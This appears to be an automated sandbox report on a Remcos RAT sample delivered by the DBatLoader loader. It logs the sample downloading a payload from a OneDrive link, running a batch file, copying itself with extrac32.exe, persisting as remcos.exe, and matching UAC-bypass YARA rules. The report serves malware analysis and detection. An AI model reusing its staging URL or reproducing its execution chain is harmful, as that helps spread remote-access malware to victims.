Apr 24, 2024 10:59:42.223342896 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.265532017 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.280253887 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.328108072 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.724077940 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.724164009 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.724245071 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.724404097 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.724416018 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.724431038 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.724437952 CEST	443	49725	13.107.137.11	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 10:58:58.462943077 CEST	58830	53	192.168.2.6	1.1.1.1
Apr 24, 2024 10:58:58.670382977 CEST	65243	53	192.168.2.6	1.1.1.1
Apr 24, 2024 10:58:59.917632103 CEST	59224	53	192.168.2.6	1.1.1.1
Apr 24, 2024 10:59:15.036705971 CEST	62538	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 10:58:58.462943077 CEST	192.168.2.6	1.1.1.1	0x3b5c	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:58:58.670382977 CEST	192.168.2.6	1.1.1.1	0x4348	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:58:59.917632103 CEST	192.168.2.6	1.1.1.1	0xc9f6	Standard query (0)	xirfeg.sn.files.1drv.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:59:15.036705971 CEST	192.168.2.6	1.1.1.1	0xe549	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 10:58:58.619640112 CEST	1.1.1.1	192.168.2.6	0x3b5c	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:58:58.619640112 CEST	1.1.1.1	192.168.2.6	0x3b5c	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:58:58.619640112 CEST	1.1.1.1	192.168.2.6	0x3b5c	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:58:58.619640112 CEST	1.1.1.1	192.168.2.6	0x3b5c	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:58:58.619640112 CEST	1.1.1.1	192.168.2.6	0x3b5c	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:58:58.824547052 CEST	1.1.1.1	192.168.2.6	0x4348	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:58:58.824547052 CEST	1.1.1.1	192.168.2.6	0x4348	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:58:58.824547052 CEST	1.1.1.1	192.168.2.6	0x4348	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:58:58.824547052 CEST	1.1.1.1	192.168.2.6	0x4348	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:58:58.824547052 CEST	1.1.1.1	192.168.2.6	0x4348	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:59:00.148185968 CEST	1.1.1.1	192.168.2.6	0xc9f6	No error (0)	xirfeg.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:59:00.148185968 CEST	1.1.1.1	192.168.2.6	0xc9f6	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:59:15.190587997 CEST	1.1.1.1	192.168.2.6	0xe549	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:59:15.190587997 CEST	1.1.1.1	192.168.2.6	0xe549	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:59:15.190587997 CEST	1.1.1.1	192.168.2.6	0xe549	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 10:59:15.190587997 CEST	1.1.1.1	192.168.2.6	0xe549	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 24, 2024 10:59:15.190587997 CEST	1.1.1.1	192.168.2.6	0xe549	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

onedrive.live.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	13.107.137.11	443	2056	C:\Users\user\Desktop\udVh4Ist4Z.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:58:59 UTC	213	OUT	GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-24 08:58:59 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://xirfeg.sn.files.1drv.com/y4mmJkpN2-URpDPce1turH6bNoPZHs8qohGTBPPgUSqUu1WeGjpTknCmr6n8UWtLOerQ4av3Xm6HTixtKAThH9G-4anG68e8wV1Qrk2RPdiHNecy8RCqK5uh_yuJFSUBIFok8DGdj11PTrYBnhL5XYXHHBJ2Ngcz8FsPL0nwv83oiQrBe-qE2QgkGb51WouA06k6abex4k4_hxa5CtXJoeKmw/255_Xjfxsfmnmga?download&psid=1 Set-Cookie: E=P:ZC32xzxk3Ig=:gf72egvBchaFkW4GhoESqrq6fufu6UGXYYXzzAfBhi0=:F; domain=.live.com; path=/ Set-Cookie: xid=e1049b89-a0de-4bad-81a0-8a913e713135&&ODSP-ODWEB-ODCF&152; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Wed, 24-Apr-2024 07:18:59 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Wed, 01-May-2024 08:58:59 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 57d8d6c5b8-msl47 X-ODWebServer: namsouthce375367-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 87361616C9914CDDA955E91C7278DD3A Ref B: BY3EDGE0311 Ref C: 2024-04-24T08:58:59Z Date: Wed, 24 Apr 2024 08:58:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49716	13.107.137.11	443	4040	C:\Users\Public\Libraries\Xjfxsfmn.PIF

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:59:15 UTC	213	OUT	GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-24 08:59:16 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://xirfeg.sn.files.1drv.com/y4mQLd7Jb4tXEApwTb1qUvLYu4AYaX9rqayqbrqvAn-5-ThXvkZfJF26xlkeR3Ny-gJc1zykBmX5rYj9txW9R3kIzHF6dxV83l5heEa4PLxxwQWqeMm0OQWEc1f7icdv2kfJ7mTF-McvtGgF2w5lljaYU3ZMiQUKoUJVCed3J7leekUiF37s8NoidzJOtwh3TH73PJjGfpo7KC4z0jzjn5QlQ/255_Xjfxsfmnmga?download&psid=1 Set-Cookie: E=P:+HS70Txk3Ig=:DC3pJ6XrAb4XDrltQ5gluoG7MQWNiMcA6YdrWzAUw+Y=:F; domain=.live.com; path=/ Set-Cookie: xid=fa764b74-aa05-4064-bbf7-15e9e247033f&&ODSP-ODWEB-ODCF&152; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Wed, 24-Apr-2024 07:19:15 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Wed, 01-May-2024 08:59:16 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 57d8d6c5b8-2lbqt X-ODWebServer: namsouthce375367-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4AF7ECC4517044E19B7D8DDF105D1922 Ref B: BY3EDGE0305 Ref C: 2024-04-24T08:59:15Z Date: Wed, 24 Apr 2024 08:59:15 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	13.107.137.11	443	3708	C:\Users\Public\Libraries\Xjfxsfmn.PIF

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:59:42 UTC	213	OUT	GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-24 08:59:42 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://xirfeg.sn.files.1drv.com/y4mA7VtsLBctMjPvNeW-nBjYzK-kMyIJaIZdFZhf0ai66qWNCa5Jqdc_iM5uVKa3zxnfUIKkPKwoVek0WzbG1sBfXbnn7j6CE35llpTYR8jWullRvburWFPOzYWZmPWfEh7HK5zgmIWLaeM4IWI8-2P2jGVB1DgJM_BOIsrxpI1008nTdqqWDEdXlS1rwrx6uAnbjPKKpjIHb5KX0KRzvJ5Nw/255_Xjfxsfmnmga?download&psid=1 Set-Cookie: E=P:YIGB4Txk3Ig=:cyj/OW5gsd9dnMF8QloDqdnQ5k5Bw8piqaCgPeNebuo=:F; domain=.live.com; path=/ Set-Cookie: xid=350d62be-3739-4ee0-98bc-64096d1675e5&&ODSP-ODWEB-ODCF&152; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Wed, 24-Apr-2024 07:19:42 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Wed, 01-May-2024 08:59:42 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 58656754b6-fnrbf X-ODWebServer: namsouthce155880-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2B2F2BFB45E54D2DBC284776936ED645 Ref B: BY3EDGE0414 Ref C: 2024-04-24T08:59:42Z Date: Wed, 24 Apr 2024 08:59:41 GMT Connection: close Content-Length: 0

Target ID:	0
Start time:	10:58:56
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\udVh4Ist4Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\udVh4Ist4Z.exe"
Imagebase:	0x400000
File size:	1'639'424 bytes
MD5 hash:	2CC30D206669699E58870623365FEF82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:59:01
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\XjfxsfmnO.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:59:01
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:59:01
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\udVh4Ist4Z.exe C:\\Users\\Public\\Libraries\\Xjfxsfmn.PIF
Imagebase:	0xd00000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:59:01
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\nmfsxfjX.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\nmfsxfjX.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:59:02
Start date:	24/04/2024
Path:	C:\ProgramData\Remcos\remcos.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Remcos\remcos.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:59:13
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\Xjfxsfmn.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Xjfxsfmn.PIF"
Imagebase:	0x400000
File size:	1'639'424 bytes
MD5 hash:	2CC30D206669699E58870623365FEF82
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.2296612772.0000000002D91000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs Detection: 66%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:59:17
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\nmfsxfjX.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\nmfsxfjX.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:59:18
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Remcos\remcos.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Remcos\remcos.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:59:21
Start date:	24/04/2024
Path:	C:\ProgramData\Remcos\remcos.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Remcos\remcos.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:59:29
Start date:	24/04/2024
Path:	C:\ProgramData\Remcos\remcos.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Remcos\remcos.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:59:40
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\Xjfxsfmn.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Xjfxsfmn.PIF"
Imagebase:	0x400000
File size:	1'639'424 bytes
MD5 hash:	2CC30D206669699E58870623365FEF82
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000F.00000002.2561591986.0000000002E21000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:59:43
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\nmfsxfjX.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\nmfsxfjX.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:59:44
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Remcos\remcos.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Remcos\remcos.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:59:49
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Remcos\remcos.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Remcos\remcos.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	80.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 02D7D5D0 Relevance: 220.4, APIs: 9, Strings: 112, Instructions: 8669COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02D88FB6,?,?,?,00000000,00000000), ref: 02D7D604

Part of subcall function 02D77BE8: LoadLibraryW.KERNEL32(?,00000000,02D77C9A), ref: 02D77C18
Part of subcall function 02D77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,02D77C9A), ref: 02D77C1E
Part of subcall function 02D77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 02D77C37

Part of subcall function 02D67E18: GetFileAttributesA.KERNEL32(00000000,?,02D7E0EE,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC,UacScan,02DC5344,02D88FEC,UacInitialize), ref: 02D67E23

Part of subcall function 02D6C320: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02DC55F0,?,02D7E40F,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanBuffer,02DC5344,02D88FEC,OpenSession), ref: 02D6C337

Part of subcall function 02D7C4DC: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02D7C5AC), ref: 02D7C517
Part of subcall function 02D7C4DC: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02D7C5AC), ref: 02D7C547
Part of subcall function 02D7C4DC: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02D7C55C
Part of subcall function 02D7C4DC: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02D7C588
Part of subcall function 02D7C4DC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02D7C591

Part of subcall function 02D67E3C: GetFileAttributesA.KERNEL32(00000000,?,02D81133,ScanString,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,ScanBuffer,02DC5344,02D88FEC,ScanString), ref: 02D67E47

Part of subcall function 02D68004: CreateDirectoryA.KERNEL32(00000000,00000000,?,02D81324,ScanBuffer,02DC5344,02D88FEC,OpenSession,02DC5344,02D88FEC,Initialize,02DC5344,02D88FEC,ScanString,02DC5344,02D88FEC), ref: 02D68011

Strings

